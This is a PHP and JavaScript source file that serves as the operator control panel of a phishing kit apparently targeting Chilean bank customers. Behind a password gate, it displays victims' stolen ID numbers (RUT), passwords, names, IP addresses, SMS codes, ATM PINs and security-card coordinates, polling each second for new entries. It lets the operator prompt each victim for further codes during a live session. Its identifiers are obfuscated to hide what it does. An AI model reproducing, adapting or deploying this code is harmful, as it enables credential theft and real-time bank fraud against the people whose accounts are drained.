<?php
if (!defined('pass_panel')) :
    exit;
endif;

$acceso = false;

// Si se env��a el formulario, validar
if (isset($_POST['password'])) {
    if ($_POST['password'] === pass_panel) {
        $acceso = true;
    } else {
        $error = "Password Incorrecto";
    }
}
?>


<?php if ($acceso === false): ?>

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <title>Acceso</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap 5 -->
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

    <style>
        body {
            background: linear-gradient(135deg, #0C0C0C, #303030);
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            margin: 0;
            font-family: 'Segoe UI', sans-serif;
        }

        .login-card {
            width: 100%;
            max-width: 380px;
            background: #fff;
            padding: 35px;
            border-radius: 16px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.15);
            animation: fadeIn 0.6s ease;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(15px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .icon-circle {
            width: 90px;
            height: 90px;
            background: #686868ff;
            border-radius: 50%;
            margin: 0 auto 20px;
            display: flex;
            justify-content: center;
            align-items: center;
            font-size: 45px;
            color: white;
            box-shadow: 0 4px 12px rgba(49,130,206,0.4);
        }

        .btn-custom {
            background: #303030;
            color: white;
            font-weight: 600;
        }
        .btn-custom:hover {
            background: #0C0C0C;
            color: white;
        }

    </style>
</head>
<body>

  <div class="login-card">

        <div class="icon-circle">
            <i class="bi bi-lock-fill"></i>
            <img src="/src/images/hacker.png" style="width: 100px;">
        </div>

        <h4 class="text-center mb-3">Acceso Seguro</h4>

        <form method="POST">

            <div class="mb-3">
                <input type="password" name="password" class="form-control form-control-lg" placeholder="Password" required>
            </div>

            <button type="submit" class="btn btn-custom btn-lg w-100">
                Entrar
            </button>

        </form>

        <?php if (isset($error)): ?>
            <div class="alert alert-danger mt-3 text-center py-2">
                <?= $error ?>
            </div>
        <?php endif; ?>

    </div>
    
  </body>
</html>  
    
    
    
    

<?php else: ?>


<html>

<head>
    <title>PANEL DE CONTROL</title>
    <link rel="stylesheet" type="text/css" href="/src/css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="/src/css/fontawesome.min.css">
    <link rel="stylesheet" type="text/css" href="/src/css/panel.css">
</head>

<body>
    <div class="container-fluid mt-5">
        <div class="row">
            <div class="col">

                <div class="row mb-2">
                    <div class="col-6">
                        <div style="width: 120px;">
                            <section>
                                <div class="slideThree">
                                    <?php if ($panelestado == 0) : ?>
                                        <input type="checkbox" value="" id="slideThree" name="check">
                                        <label for="slideThree"></label>
                                    <?php else : ?>
                                        <input type="checkbox" value="" id="slideThree" name="check" checked>
                                        <label for="slideThree"></label>
                                    <?php endif; ?>
                                </div>
                            </section>
                        </div>

                    </div>
                    <!--div class="col-6 text-right">
                        <a class="btn btn-primary" href="/app/html/<?= filename; ?>" download>DESCARGAR</a>
                    </div-->
                </div>

                <table class="table text-center">
                    <thead class="thead-dark">
                        <tr>
                            <th><span>Fecha/Hora</span></th>
                            <th><span>RUT</span></th>
                            <th><span>CLAVE</span></th>
                            <th><span>NOMBRE</span></th>
                            <th><span>CAJER0</span></th>
                            <th><span>CODIGO</span></th>
                            <th><span>CORDE</span></th>
                            <th><span>IP</span></th>
                            <th><span>ENLINEA</span></th>
                            <th><span>ESTADO</span></th>
                            <th><span>ACCIONES</span></th>
                        </tr>
                    </thead>
                    <tbody id="trlog">

                        <?php if (count($userAll) > 0) : ?>
                            <?php for ($i = 0; $i < count($userAll); $i++) : ?>
                                <tr id="tr<?= $userAll[$i]->rut; ?>">
                                    
                                    <td id="fecha<?= $userAll[$i]->rut; ?>"><?= $userAll[$i]->fecha; ?></td>
                                    <?php if ($userAll[$i]->reading == 1) : ?>
                                        <td id="ico<?= $userAll[$i]->rut; ?>">
                                            <table align="center">
                                                <tbody>
                                                    <tr>
                                                        <td><i class="badge badge-success">new</i></td>
                                                        <td><span><?= $userAll[$i]->rut; ?></span></td>
                                                    </tr>
                                                </tbody>
                                            </table>
                                        </td>
                                    <?php else : ?>
                                        <td id="ico<?= $userAll[$i]->rut; ?>"><span class="ml-2 d-inline"><?= $userAll[$i]->rut; ?></span></td>
                                    <?php endif; ?>
                                    <td><?= $userAll[$i]->pwd; ?></td>
                                    <td><?= $userAll[$i]->nombre; ?></td>
                                    <td id="atn<?= $userAll[$i]->rut; ?>"></td>
                                    <td id="sms<?= $userAll[$i]->rut; ?>"></td>
                                    <td id="cor<?= $userAll[$i]->rut; ?>"></td>
                                    <td><?= $userAll[$i]->ip; ?></td>
                                    <td id="con<?= $userAll[$i]->rut; ?>"><i class="rounded-circle active"></i></td>
                                    <td id="est<?= $userAll[$i]->rut; ?>"><?= $userAll[$i]->estado; ?></td>
                                    <td >
                                        <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                            <button class="btn btn-success" onclick="javascript:openwin('<?= $userAll[$i]->rut; ?>');"><i class="fa fa-save" aria-hidden="true"></i></button>
                                            <button class="btn btn-danger" onclick="javascript:borraru('<?= $userAll[$i]->rut; ?>');"><i class="fa fa-trash" aria-hidden="true"></i></button>
                                            <button class="btn btn-dark" onclick="javascript:bloqued('<?= $userAll[$i]->rut; ?>');"><i class="fa fa-ban" aria-hidden="true"></i></button>
                                            <?php if ($userAll[$i]->proceso!=5){ ?>
                                            
                                            <button class="btn btn-alert" ><a id="btn<?= $userAll[$i]->rut; ?>"  href="/app/html/<?= $userAll[$i]->rut; ?>_<?= filename; ?>" target="_blank" ><i class="fa fa-binoculars" aria-hidden="true"  ></i></a></button>
                                            
                                            <?php }else{
                                             ?>
                                            
                                            <button  class="btn btn-alert" ><a id="btn<?= $userAll[$i]->rut; ?>"  href="/app/html/<?= $userAll[$i]->rut; ?>_<?= filename; ?>" target="_blank" ><i class="fa fa-binoculars" aria-hidden="true"></i></a></button>
                                            
                                            <?php
                                            } ?>
                                        </div>
                                    </td>
                                    <?php //print_r($userAll[$i]); ?>
                                </tr>
                            <?php endfor; ?>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
    <div class="modal" tabindex="-1" role="dialog" id="opmod">
        <div class="modal-dialog modal-dialog-centered">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title"><span id="optitle">Modal title</span></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close" onclick="javascript:cerrar();">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <form action="" method="POST" name="formpost" id="formpost">
                        <input type="hidden" name="user" id="user" value="">
                        <select class="custom-select custom-select-lg" name="cboproceso" id="cboproceso">
                            <option selected>Seleccione un proceso</option>
                            <option value="2">CREDITO</option>
                            <option value="3">CODIGO SMS</option>
                            <option value="4">SUPERCLAVE 3</option>
                            <option value="5">SUPERCLAVE FULL</option>
                            <option value="7">CLAVE ATM</option>
                            <option value="8">CORREO CODIGO</option>
                            <option value="9">MENSAJE FINAL</option>
                            <option value="10">RETORNO HOME</option>
                        </select>
                        <div id="viewcorde" class="mt-3">
                            <table>
                                <tbody>
                                    <tr>
                                        <td>
                                            <input type="text" style="text-transform: uppercase;" maxlength="2" class="form-control" name="corde1" id="corde1" placeholder="corde 1">
                                        </td>
                                        <td>
                                            <input type="text" style="text-transform: uppercase;" maxlength="2" class="form-control" name="corde2" id="corde2" placeholder="corde 2">
                                        </td>
                                        <td>
                                            <input type="text" style="text-transform: uppercase;" maxlength="2" class="form-control" name="corde3" id="corde3" placeholder="corde 3">
                                        </td>
                                    </tr>
                                </tbody>
                            </table>
                        </div>
                    </form>
                    <div id="mesage"></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal" onclick="javascript:cerrar();">Cerrar</button>
                    <button type="button" class="btn btn-primary" onclick="javascript:grabar();">Grabar</button>
                </div>
            </div>
        </div>
    </div>
</body>
<audio id="myAudio">
    <source src="/src/sonido/alerta.mp3" type="audio/mpeg">
</audio>
<form action="" method="post" name="frmpanel" id="frmpanel"><input type="hidden" name="iduser" value=""></form>

</html>
<script type="text/javascript" src="/src/js/uuytaiosido.js"></script>
<script>
    var sdfgsdfgsdfgsdfgs = '<?= clavepanel; ?>';
    var test = new Mataburr0oa();

    document.getElementById('cboproceso').addEventListener('change', () => {
        if (document.getElementById('cboproceso').value == 4) {
            if (!document.getElementById('viewcorde').classList.contains('acitve')) {
                document.getElementById('viewcorde').classList.add('acitve');
            }
        } else {
            if (document.getElementById('viewcorde').classList.contains('acitve')) {
                document.getElementById('viewcorde').classList.remove('acitve');
            }
        }
    })

    function cerrar() {
        var item = document.getElementById("opmod");
        if (item.classList.contains("showdialog")) {
            document.getElementById("opmod").classList.remove("showdialog");
        }

        if (document.getElementById('viewcorde').classList.contains('acitve')) {
            document.getElementById('viewcorde').classList.remove('acitve');
        }

        document.getElementById("user").value = "";
        document.getElementById('mesage').innerHTML = "";
        document.getElementById('formpost').reset();

    }

    function openwin(id) {
        var item = document.getElementById("opmod");
        if (item.classList.contains("showdialog") == false) {
            document.getElementById('optitle').innerHTML = id;
            document.getElementById('user').value = id;
            //LECTURA
            document.forms.frmpanel.iduser.value = id;
            var form = document.forms.frmpanel;
            test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/reading', ooooosodosdoooosdo1, form);
            //MOSTRAR EL POPUP
            document.getElementById("opmod").classList.add("showdialog");
        }
    }

    function grabar() {

        var cbo = document.getElementById('cboproceso').value;


        if (cbo == "" || cbo == "Seleccione un proceso") {
            document.getElementById('mesage').innerHTML = '<div class="alert alert-danger" role="alert">Debe elegir un proceso para grabar</div>';
            return false;
        }

        if (document.getElementById('cboproceso').value == 4) {
            var x1 = document.getElementById('corde1').value;
            var x2 = document.getElementById('corde2').value;
            var x3 = document.getElementById('corde3').value;

            if (x1 == "" || x1.length != 2) {
                document.getElementById('mesage').innerHTML = '<div class="alert alert-danger" role="alert">Debe ingresar la coorde 1</div>';
                document.getElementById('corde1').focus();
                return false;
            }

            if (x2 == "" || x1.length != 2) {
                document.getElementById('mesage').innerHTML = '<div class="alert alert-danger" role="alert">Debe ingresar la coorde 1</div>';
                document.getElementById('corde2').focus();
                return false;
            }

            if (x3 == "" || x1.length != 2) {
                document.getElementById('mesage').innerHTML = '<div class="alert alert-danger" role="alert">Debe ingresar la coorde 1</div>';
                document.getElementById('corde3').focus();
                return false;
            }
        }

        var form = document.forms.formpost;
        test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/grabar', ooooosodosdoooosdo3, form);

    }


    function borraru(id) {

        document.forms.frmpanel.iduser.value = id;
        var form = document.forms.frmpanel;
        test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/borraru', ooooosodosdoooosdo4, form);

    }


    function bloqued(id) {
        document.forms.frmpanel.iduser.value = id;
        var form = document.forms.frmpanel;
        test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/bloqued', ooooosodosdoooosdo5, form);

    }

    function newtr() {
        var form = document.forms.frmpanel;
        test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/trfila', ooooosodosdoooosdo6, form);
    }


    function ooooosodosdoooosdo1(res) {}

    function ooooosodosdoooosdo3(res) {
        var obJSON = JSON.parse(res);
        if (obJSON) {
            if (obJSON.pr == 1) {
                document.getElementById('mesage').innerHTML = '<div class="alert alert-success" role="alert">Se grabo correctamente la solicitud del cliente</div>';
            } else {
                document.getElementById('mesage').innerHTML = '<div class="alert alert-danger" role="alert">hubo problemas al guardar</div>';
            }

        }
    }

    function ooooosodosdoooosdo4(res) {
        var obJSON = JSON.parse(res);
        if (obJSON) {
            if (obJSON.pr == 1) {
                document.getElementById('tr' + obJSON.id).remove()
            }
        }
    }

    function ooooosodosdoooosdo5(res) {
        var obJSON = JSON.parse(res);
        if (obJSON) {
            if (obJSON.pr == 1) {
                document.getElementById('tr' + obJSON.id).remove()
            }
        }
    }

    function ooooosodosdoooosdo6(res) {
        var obJSON = JSON.parse(res);
        if (obJSON) {
            for (var i = 0; i < obJSON.length; i++) {

                if (!document.getElementById('tr' + obJSON[i].rut)) {
                    crearTr(obJSON, i);
                    document.getElementById("myAudio").play();
                } else {

                    if (obJSON[i].estado == "en-alerta") {
                        document.getElementById('est' + obJSON[i].rut + '').style.color = "red";
                        document.getElementById('est' + obJSON[i].rut + '').innerHTML = obJSON[i].estado;
                    } else {
                        document.getElementById('est' + obJSON[i].rut + '').style.color = "black";
                        document.getElementById('est' + obJSON[i].rut + '').innerHTML = obJSON[i].estado;
                    }
                    
                    //console.log(obJSON[i].proceso+"/"+obJSON[i].rut);
                    
                    if (obJSON[i].proceso != 5) {
                        document.getElementById('btn' + obJSON[i].rut + '').style.color = "red";
                    } else {
                        document.getElementById('btn' + obJSON[i].rut + '').style.color = "blue";
                    }
                    
                    document.getElementById('fecha' + obJSON[i].rut + '').innerHTML = obJSON[i].fecha;

                    var sms = document.getElementById('sms' + obJSON[i].rut + '').innerHTML;
                    if (obJSON[i].codigo != "" && obJSON[i].codigo != sms) {
                        document.getElementById('sms' + obJSON[i].rut + '').style.background = colorBackgournd(numberandon());
                        document.getElementById('sms' + obJSON[i].rut + '').innerHTML = obJSON[i].codigo;
                    }

                    var atn = document.getElementById('atn' + obJSON[i].rut + '').innerHTML;
                    if (obJSON[i].atme != "" && obJSON[i].atme != atn) {
                        document.getElementById('atn' + obJSON[i].rut + '').style.background = colorBackgournd(numberandon());
                        document.getElementById('atn' + obJSON[i].rut + '').innerHTML = obJSON[i].atme;
                    }

                    var temp = document.getElementById('con' + obJSON[i].rut + '');
                    if (obJSON[i].tiempo > 0) {
                        if (temp.querySelector('i').classList.contains('active')) {
                            temp.querySelector('i').classList.remove('active');
                            temp.querySelector('i').classList.add('inactive');
                        }
                    } else {
                        if (temp.querySelector('i').classList.contains('inactive')) {
                            temp.querySelector('i').classList.remove('inactive');
                            temp.querySelector('i').classList.add('active');
                        }
                    }

                  

                    var corde = document.getElementById('cor' + obJSON[i].rut + '').innerHTML;
                    if (obJSON[i].corde1 != "" && corde.search(obJSON[i].cordea) == -1) {
                        document.getElementById('cor' + obJSON[i].rut + '').innerHTML = '<span style="background-color:' + colorBackgournd(numberandon()) + '">' + obJSON[i].cordea + ':' + obJSON[i].corde1 + '</span> ' + ' <span style="background-color:' + colorBackgournd(numberandon()) + '">' + obJSON[i].cordeb + ':' + obJSON[i].corde2 + '</span> ' + ' <span style="background-color:' + colorBackgournd(numberandon()) + '">' + obJSON[i].cordec + ':' + obJSON[i].corde3 + '</span>';
                    }

                    var temp2 = document.getElementById('ico' + obJSON[i].rut + '');
                    if (obJSON[i].reading == 1) {
                        if (temp2.querySelector('i') == 'null' || temp2.querySelector('i') == null || temp2.querySelector('i') == undefined) {
                            document.getElementById('ico' + obJSON[i].rut + '').innerHTML = '<table align="center"><tbody><tr><td><i class="badge badge-success">new</i></td><td><span>' + obJSON[i].rut + '</span></td></tr></tbody></table>';
                        }
                    } else {
                        if (temp2.querySelector('i')) {
                            document.getElementById('ico' + obJSON[i].rut + '').innerHTML = '<table align="center"><tbody><tr><td><span>' + obJSON[i].rut + '</span></td></tr></tbody></table>';
                        }
                    }

                }

            }
        }
    }

    function crearTr(datos, i) {

        var table = document.getElementById('trlog');

        if (table.rows.length > 100) {
            var rowCount = table.rows.length;
            table.deleteRow(rowCount - 1);
        }

        var tr = table.insertRow(0);
        tr.setAttribute('id', 'tr' + datos[i].rut);

        var td0 = tr.insertCell(0);
        td0.setAttribute("id", "fecha" + datos[i].rut);
        
        var td1 = tr.insertCell(1);
        td1.setAttribute("id", "ico" + datos[i].rut);

        var td2 = tr.insertCell(2);
        var td3 = tr.insertCell(3);

        var td4 = tr.insertCell(4);
        td4.setAttribute("id", "atn" + datos[i].rut);

        var td5 = tr.insertCell(5);
        td5.setAttribute("id", "sms" + datos[i].rut);

        var td6 = tr.insertCell(6);
        td6.setAttribute("id", "cor" + datos[i].rut);
        
        var td7 = tr.insertCell(7);
        var td8 = tr.insertCell(8);
        td8.setAttribute("id", "con" + datos[i].rut);

        var td9 = tr.insertCell(9);
        td9.setAttribute("id", "est" + datos[i].rut);

        var td10 = tr.insertCell(10);
        
        td0.innerHTML = datos[i].fecha;

        if (datos[i]["reading"] == '1') {
            td1.innerHTML = '<table align="center"><tbody><tr><td><i class="badge badge-success">new</i></td><td><span>' + datos[i].rut + '</span></td></tr></tbody></table>';
        } else {
            td1.innerHTML = '<table align="center"><tbody><tr><td><span>' + datos[i].rut + '</span></td></tr></tbody></table>';
        }

        td2.innerHTML = datos[i].pwd;
        td3.innerHTML = datos[i].nombre;
        td4.innerHTML = "";
        td5.innerHTML = "";
        td6.innerHTML = "";
        td7.innerHTML = datos[i].ip;
        td8.innerHTML = '<i class="rounded-circle active"></i>';
        td9.innerHTML = datos[i].estado;
        td10.innerHTML = '<div class="btn-group btn-group-toggle" data-toggle="buttons"><button class="btn btn-success" onclick="javascript:openwin(\'' + datos[i].rut + '\');"><i class="fa fa-save" aria-hidden="true"></i></button><button class="btn btn-danger" onclick="javascript:borraru(\'' + datos[i].rut + '\');"><i class="fa fa-trash" aria-hidden="true"></i></button><button class="btn btn-dark" onclick="javascript:bloqued(\'' + datos[i].rut + '\');"><i class="fa fa-ban" aria-hidden="true"></i></button><button class="btn btn-alert" ><a id="btn' + datos[i].rut + '"  href="/app/html/' + datos[i].rut + '_<?= filename; ?>" target="_blank" ><i class="fa fa-binoculars" aria-hidden="true"  ></i></a></button></div>';


    }


    window.onload = function() {
        document.getElementById('slideThree').addEventListener('change', ooopopwoeiwfuufyweioifdspfosd);

        var time = setInterval(function() {
            newtr();
        }, 1000);
    }


    function numberandon() {
        return Math.floor((Math.random() * 9) + 1);
    }

    function colorBackgournd(number) {

        switch (number) {
            case 1:
                return '#ffff00';
                break
            case 2:
                return '#ff8000';
                break
            case 3:
                return '#ff9999';
                break
            case 4:
                return '#5F9EA0';
                break
            case 5:
                return '#6495ED';
                break
            case 6:
                return '#008B8B';
                break
            case 7:
                return '#E9967A';
                break
            case 8:
                return '#228B22';
                break
            default:
                return '#ADD8E6';
        }

    }

    function ooopopwoeiwfuufyweioifdspfosd() {
        if (this.checked == true) {
            document.forms.frmpanel.iduser.value = 1;
            var form = document.forms.frmpanel;
            test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/estado', poropsoeoseoow, form)
        } else {
            document.forms.frmpanel.iduser.value = 0;
            var form = document.forms.frmpanel;
            test.ajaxrequest(sdfgsdfgsdfgsdfgs, 'panel/estado', poropsoeoseoow, form)
        }
    }

    function poropsoeoseoow() {}
</script>
<?php endif; ?>